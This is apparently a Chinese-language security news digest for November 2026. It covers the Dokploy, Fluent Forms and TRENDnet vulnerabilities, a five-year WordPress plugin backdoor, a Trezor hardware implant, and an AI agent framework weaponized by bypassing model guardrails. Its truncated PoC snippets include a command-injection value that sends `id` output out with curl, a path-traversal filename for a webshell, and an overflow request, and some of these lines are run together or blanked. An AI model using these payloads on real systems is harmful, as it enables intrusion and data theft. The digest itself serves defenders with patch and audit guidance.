ARTICLE · 1358310

网络安全日报 | WP插件后门潜伏5年 7万站点可远程投毒

发布时间：2026-11-15 11:35:14 最近访问：2026-11-15 11:35:15

📌 Quick Page/Post Redirect 插件被曝潜伏 5 年后门:2021 年即经"作者自有更新服务器"向 7 万+ 站点投递被篡改构建,可远程推送任意代码,11-14 正式获编号 CVE-2026-126697(插件已下架)

📌 Dokploy(<0.31.1)备份命令注入:普通成员 60 秒拿 root,官方 GHSA 公开完整 PoC;同日 Trezor 实锤 Safe 5 硬件植入件,助记词被截屏加密外传

📌 11-14 批次新增 64 条 CVE:TRENDnet CVSS 10.0 满分洞公开利用、Fluent Forms 云存储 9.8 任意文件写入、AutomatorWP 9.8 管理员密码重置密集来袭

🔥 CVE 漏洞预警

CVE-2026-129433 | Dokploy 备份命令注入 | 9.4(CVSS4.0)

📌 影响范围:Dokploy 全版本 <0.31.1(自托管 PaaS/部署平台),0.31.0 为漏洞引入线

⚠️ 风险描述:compose 备份的 serviceName 字段未经任何校验直拼进 `docker ps` 过滤命令,并经 `/bin/bash` 子进程执行;任意组织普通成员即可利用,默认每分钟 cron 触发,60 秒内以 root 落盘命令——标准安装挂载 `/var/run/docker.sock`,可直接拿下宿主机。同 Schema 中 appName 等字段有严格校验,唯独 serviceName 裸奔

🧪 利用细节/PoC(截断):

# 根因:serviceName 未转义直拼 shell(utils.ts getComposeContainerCommand)--filter "label=com.docker.compose.service=${serviceName}"# backup.create tRPC 提交含元字符的 serviceName → 定时备份触发执行serviceName = "svc"; curl -sk --data \$(id) /collect; echo "# 默认 */1 * * * * → 60 秒内以 root 执行;认证成员即可,无需管理员

完整 payload 可后台留言获取,或自行下载获取。

🛡️ 修复建议:升级 v0.31.1(已用 shell-quote 转义);临时措施:禁用非必要备份调度、收敛组织成员、移除 docker.sock 挂载

📦 公开利用状态:⚠️ 官方 GHSA(11-12)已公开完整 Python PoC,暂无在野利用证据

CVE-2026-120522 | Fluent Forms 云存储管理器任意文件写入 | 9.8

📌 影响范围:Cloud Storage Manager for Fluent Forms(Google Drive/Dropbox/OneDrive/S3)WP 插件 ≤1.2.0 全版本

⚠️ 风险描述:`connection/{driver}/save` 与 `/download/single-file` 两个 REST 端点缺认证校验,Google Drive 下载时云端文件名(name)未经 basename 处理直接拼接本地路径——攻击者可借恶意文件名越权写入任意文件,直达 WebShell

🧪 利用细节/PoC(截断):

# 云端文件名被拼进本地路径,无路径归一化name = "../../../wp-content/mu-plugins/.php"# 无认证调用 REST 端点触发下载 → 文件落入站点目录 → RCEPOST /wp-json//download/single-file

完整 payload 可后台留言获取,或自行下载获取。

🛡️ 修复建议:升级 >1.2.0;未升级前禁用云存储插件的 Drive 连接并审计已存附件

📦 公开利用状态:⚠️ 有技术细节(Wordfence),暂无完整公开 PoC

CVE-2026-129351(+129352) | TRENDnet TEW-657BRM 远程越界写 | 10.0 / 9.4

📌 影响范围:TEW-657BRM 1.00.1(EOL 超 15 年,厂商声明不修复);同批 Tenda AC18(9.4,固件无签名校验)、Edimax BR6478ACV2(9.4)等家用路由器批量沦陷

⚠️ 风险描述:`/setup.cgi`(mini_httpd)中 sprintf 无长度限制远程越界写(CVSS 满分)、`/usr/sbin/upgrade_flash.cgi` 栈溢出;Tenda AC18 固件升级无签名校验,可被远程刷入恶意固件——公开利用均已披露

🧪 利用细节/PoC(截断):

GET /setup.cgi?next_file=<超长参数> HTTP/1.1# mini_httpd 内 sprintf 未限长 → 越界写,攻击面=公网可达# 同批:Tenda AC18 升级接口不校验固件签名 → 直接刷后门固件

完整 payload 可后台留言获取,或自行下载获取。

🛡️ 修复建议:设备已 EOL 无补丁,公网暴露的此类路由器立即下线或隔离,无法替换则禁外网管理

📦 公开利用状态:✅ 公开 exploit 已释出(研究仓库含构造细节)

📌 同日批次其他高危:AutomatorWP Webhooks 9.8(≤1.4.4,未认证重置任意管理员密码→全站接管,需配置过 Receive Webhook 自动化);Shipo 9.8(1.6-1.8.0,伪造登录 Cookie 绕过签名校验);Optimole 7.1(≤4.2.19,未认证任意文件删除,可删 wp-config.php 致 RCE);MemberDash 8.8(≤1.8.7,批量赋值提权);FRRouting bgpd 7.7(BGP Tunnel Enc 属性引用计数失衡→UAF);VS Code 9.6(CVE-2026-120779 代码注入,已修复,速升 1.145.3+)

📰 今日热点

🔴 WP 插件 5 年潜伏后门正式获 CVE,7 万站点可被远程投毒:Quick Page/Post Redirect 5.2.1/5.2.2(2020-2021 发布)内置指向 anadnet[.]com 的隐藏自我更新通道;2021-03 该服务器推送与官方不同哈希的"5.2.3"构建,植入仅对未登录访客生效的 the_content 注入(寄生 SEO 刷排名),并保留了可按需远程推码的主动后门——C2 域虽已休眠但通道仍在,官方已关闭插件,WPScan 11-14 分配 CVE-2026-126697

🔴 Trezor 实锤硬件植入件:3 台 Safe 5 被加装窃听电路板:经东南亚经销商 CryptoBilis(2026-08/09 出货)售出的 3 台 Safe 5 确认在主板上加装窃听电路板,截取屏幕显示的助记词/口令,加密后经蜂窝网络回传攻击者服务器(断网则反复重试),固件与 Secure Element 未被修改;官方称 48 名买家前来核查、暂无资金损失报告,11-11 固件 2.13.1 可阻断已发现的植入件,但无法保护此前已捕获的助记词——经该渠道购机者需迁到新钱包,Trezor 已削减 80% 经销商网络,手法与上月 Ledger 植入事件同源

🟠 大阪市 107.8 万条邮箱地址经第三方链泄露:大阪市行政系统邮件投递经供应商 TKC 外包,攻击者侵入其邮件服务,2026-07-01 至 10-31 收过系统邮件的市民邮箱全部暴露(一次 09-16 全员通知放大影响);关联 11-02 邮件服务商 Arara 被破(7700 万地址、近 400 客户)。警惕"来自市政"的高仿钓鱼邮件

🟠 PostgreSQL 一次修 52 个洞,v14 正式退役:发布 18.7/17.12/16.16/15.20,覆盖 52 项修复;v14 迎来最后一个版本,不再维护。升级后必须重建 C 语言扩展(大版本 ABI 变化),建议同时收紧 PUBLIC 的 CREATE 权限

🟢 FBI FLASH:开源智能体框架 ARTEX 被武器化:11-13 发布 FLASH-20261113-001——Go 编写的多智能体"自主渗透"平台,自然语言目标→机器速度执行,自 2026-08 起被用于针对金融/政府/国防/半导体/能源等 11 领域攻击;已知战果含韩国金融机构约 6.7 万人信息窃取、ConnectWise 云备份供应链(2,250+ 租户);监控的实例中 DeepSeek Flash 系模型使用占比最高(成本低、以渗透测试话术易绕过护栏),IOC 含 WISP/vshell/AdaptixC2/BLOODALCHEMY/LLM 代理(CLIProxyAPI、New API)

🟡 其他速览:TSMC 员工数据经云服务商泄露,论坛叫卖 6.9GB 开价 3 BTC;Enea:SilentAir 借 SS7/Diameter 劫持亚洲运营商截台湾用户短信;Europol"TorNado"行动捕 354 名暗网卖家;WordPress AI/MCP 插件(≤2.0.1)低权限可提权;OpenTelemetry JS 服务器 span 明文泄露签名 URL(0.222.0 修复)

GitHub 安全项目推荐

🔥 Rust505/CVE-2026-112611 | ⭐106(11-08 创建,11-14 仍活跃)

📌 Apple CoreGraphics PDF ShadingType 5 越界写(/N 与 /C0 数组失配)分析仓库,覆盖 iOS 26.7.2/27.2、macOS 15.8.2/26.7.2,恶意 PDF 内存破坏问题研究/检测参考

🔗 https://github.com/Rust505/CVE-2026-112611

🔥 nestho/impacket-rs | ⭐90(11-11 新建)

📌 Impacket 的纯 Rust 内存安全重写版(Linux/macOS),AD 协议套件(WinRM/SMB/LDAP 等)高性能替代实现,红队工具链关注新方向

🔗 https://github.com/nestho/impacket-rs

🧠 安全每日一题

🛡 Trezor Safe 5 硬件植入件窃取助记词的核心链路是?

A. 安装同步软件时在电脑端植入键盘记录器

B. 主板与屏幕之间加装窃听电路板,截取屏幕明文,加密后经蜂窝网络外传

C. 直接替换 Secure Element 芯片固件,生成攻击者可控的助记词

D. 利用蓝牙配对漏洞远程实时劫持设备屏幕输出

💬 答案可在公众号评论区留言。

✅ 今日行动清单

✅ 1. WP 站点立即核查 Quick Page/Post Redirect:删除插件及 updater/ 目录,全文件校验(wp core verify-checksums/插件校验),全站搜索 anadnet.com、ppr_pro、QQQEND、filter_the_content_in_the_main_loop;曾运行被篡改 5.2.3(MD5 ad717d…)按已失陷处置,轮换全部管理员账密(关联:CVE-2026-126697)

✅ 2. Dokploy 升级 v0.31.1+,审计 backup.create/update 的历史 serviceName 与 S3 目标,收紧组织成员为最小权限,评估移除 docker.sock 挂载(关联:CVE-2026-129433)

✅ 3. WordPress 批量更新:AutomatorWP Webhooks(>1.4.4)、Shipo(>1.8.0)、Fluent Forms 云存储(>1.2.0)、Optimole(>4.2.19);VS Code 升 1.145.3+(关联:WP 高危批次/VS Code 9.6)

✅ 4. PostgreSQL 升级 18.7/17.12/16.16/15.20 并重建 C 扩展(v14 停更);公网 EOL 路由器(TEW-657BRM/AC18/BR6478ACV2)下线隔离(关联:PG 52 修复/路由器批次公开利用)

📌 数据来源:cvelistV5(11-14 2300Z 批次新增 64 条)｜cveawg.mitre.org｜Dokploy GHSA-j329-jw7j-rxjm／VulnCheck｜Wordfence／WPScan／cve.org(CVE-2026-126697)｜VulDB(路由器批次)｜CISA KEV(senserva＋官方源)｜MSRC(CVE-2026-120779)｜Trezor 官方博客／TheHackerNews／BleepingComputer｜IC3 FLASH-20261113-001／SafeBreach｜infosecpwn／The Record／Europol｜GitHub API 实时核星

*本文信息均来自公开渠道,仅供参考。*